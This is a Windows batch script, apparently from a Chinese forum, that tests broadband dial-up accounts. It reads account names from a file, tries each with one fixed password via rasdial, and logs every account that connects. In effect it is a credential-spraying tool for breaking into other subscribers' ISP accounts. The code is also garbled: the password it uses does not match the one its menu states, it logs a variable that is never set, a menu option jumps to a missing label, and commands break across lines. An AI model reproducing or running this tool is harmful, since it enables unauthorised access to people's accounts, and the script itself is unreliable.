- @title 宽带连接检测批处理
-
- @echo off & setlocal enabledelayedexpansion
-
- set userfile=宽带账号.txt
- set passfile=宽带密码.txt
- set pppname=宽带连接
- set outfile=成功连接.txt
-
- :choose
- echo.&echo 宽带检测批处理
- echo.&echo 1 - 宽带密码为123123,账号从文本 %userfile% 里提取逐一测试
- echo.&echo 0 - 退出批处理
- echo.&set /p choose=请输入你选择的序号并回车:
-
- if %choose% equ 0 exit
- if %choose% equ 1 goto :pass1userx
- if %choose% equ 3 goto :allx
- cls&echo.&echo 输入的序号有误,请重新选择!&set choose=&goto :choose
-
- :pass1userx
- set pass=宽带固定密码
- call :check0
- for /f "tokens=*" %%a in ('type "%userfile%"') do (rasdial "%pppname%" %%a %pass%
-
- >nul & call :check1)
- goto :exit
-
- :exit
- rasdial "%pppname%" %user% %pass% >nul
- echo.&echo 所有操作完毕,按任意键退出&pause>nul&exit
-
- :check0
- rasdial|find "已连接">nul
- if %errorlevel% equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%
-
- a" /d >nul&set pppname=%%a&goto :eof)
- goto :eof
-
- :check1
- rasdial|find "已连接">nul
- if %errorlevel% equ 0 echo>>"%outfile%" %user%=%pass%
- rasdial "%%a" /d >nul
- goto :eof
复制代码
|